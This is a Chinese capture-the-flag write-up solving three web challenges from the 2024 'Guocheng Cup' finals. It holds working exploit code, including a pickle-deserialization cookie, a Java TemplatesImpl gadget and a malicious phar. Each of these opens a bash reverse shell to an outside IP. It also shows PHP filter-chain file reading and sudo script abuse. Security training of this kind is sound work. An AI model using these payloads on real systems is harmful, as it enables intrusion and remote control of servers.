【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)

最近在忙联通的安全准入测试,很少有时间看CTF了,今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)

感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞,没啥惊喜感,还是CTF有意思

目录

Mountain

ez_zhuawa

图片信息查看器


Mountain

扫目录

访问./display看到

提示是photo参数,/display?photo=Mountain1.png访问到图片

可以任意读文件

没法直接读环境变量

抓包看响应头,是python题

一般就去读当前运行文件

/display?photo=/proc/1/cmdline

/display?photo=/appppp/app.py

from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import re

messages = []

@route("/")
def home():
    return template("index")

@route("/hello")
def hello_world():
    try:
        session = request.get_cookie("name", secret=Mountain)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=Mountain)
        
        return template("guest", name=session["name"]) if session["name"] == "admin" else None
    
    except:
        return "hacker!!! I've caught you"

@route("/display")
def get_image():
    photo = request.query.get('photo')
    
    if photo is None:
        return template('display')
    
    if re.search("^../|environ|self", photo):
        return "Hacker!!! I'll catch you no matter what you do!!!"
    
    requested_path = os.path.join(os.getcwd(), "picture", photo)
    
    try:
        if photo.endswith('.png'):
            default_png_path = "/appppp/picture/"
            pngrequested_path = default_png_path + photo
            
            with open(pngrequested_path, 'rb') as f:
                tfile = f.read()
            
            response.content_type = 'image/png'
        else:
            with open(requested_path) as f:
                tfile = f.read()
    except Exception as e:
        return "you have some errors, continue to try again"
    
    return tfile

@route("/admin")
def admin():
    session = request.get_cookie("name", secret=Mountain)
    
    if session and session["name"] == "admin":
        return template("administator", messages=messages)
    else:
        return "No permission!!!!"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)

接着访问./hello

给了一段Cookie,可以看到?后面的特征很像pickle序列化数据

审计代码发现可以打pickle反序列化

先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey

拿恶意cookie的最简单方式就是自己起一个服务

from bottle import Bottle, route, run, template, request, response
import os

Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))

@route("/hello")
def hello_world():
    try:
        session = {"name": Test()}
        response.set_cookie("name", session, secret=Mountain)
        return "ok"
    except:
        return "hacker!!! I've caught you"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)

然后访问,拿到恶意cookie

替换后访问靶机的./admin,成功反弹shell拿flag

ez_zhuawa

题目入口,先是将data反序列化,然后使用SPeL解析并执行param表达式,表达式可以从反序列化对象中获取值(即调getter方法)

众所周知TemplatesImpl的利用链如下,直接实例化TP然后调用它的getOutputProperties方法即可

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而题目ban了一堆东西,就是没ban TP

Evil.java

package org.example.GCCTF.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {
        byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        byte[][] codes={code};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",codes);
        byte[] result=serialize(templates);
        System.out.println(Base64.getEncoder().encodeToString(result));

    }

    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

Exp.java

package org.example.GCCTF.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法

环境变量读到flag

图片信息查看器

提示有hI3t.php

进来是一个文件上传功能和文件查询功能,一眼phar反序列化

上传图片再读取文件信息

不难想到调用了getimagesize(不想到也行,总之与文件处理相关的函数都与filterchian leak沾边)

PHP Filter链------基于oracle的文件读取攻击 - 先知社区

打filterchain读文件

用下面这个工具

https://github.com/synacktiv/php_filter_chains_oracle_exploit

python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path

访问./x@1.php,发现存在一个后门类

生成恶意phar包

<?php

class backdoor
{
    public $cmd;

    function __destruct()
    {
        $cmd = $this->cmd;
        system($cmd);
    }
}

$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将生成的gcb.phar改为gcb.png上传,读取

phar://uploads/gcb.png

成功弹上shell

权限不够需要提权

发现存在/tmp/rootscripts/check.sh的sudo权限

查看 /tmp/rootscripts/check.sh,发现可以任意run.sh脚本执行

写恶意sh文件

echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh

再sudo执行,拿到flag

sudo /tmp/rootscripts/check.sh "/tmp"
相关推荐
坐望云起4 小时前
什么是WebAssembly?怎么使用?
html·web·wasm·js
青年有志12 小时前
JavaWeb(一) | 基本概念(web服务器、Tomcat、HTTP、Maven)、Servlet 简介
java·web
WTT001121 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
摸鱼也很难1 天前
RCE 命令执行漏洞 && 过滤模式 && 基本的过滤问题 && 联合ctf题目进行实践
漏洞·ctf·ctfshow·rce命令执行
sg_knight1 天前
VSCode如何修改默认扩展路径和用户文件夹目录到D盘
前端·ide·vscode·编辑器·web
亿.61 天前
2024楚慧杯-Web
web·ctf·writeup
王ASC2 天前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
非凡的世界4 天前
5个用于构建Web应用程序的Go Web框架
golang·go·框架·web
每天进步一大步4 天前
webSokect安卓和web适配的Bug 适用实时语音场景
android·前端·bug·web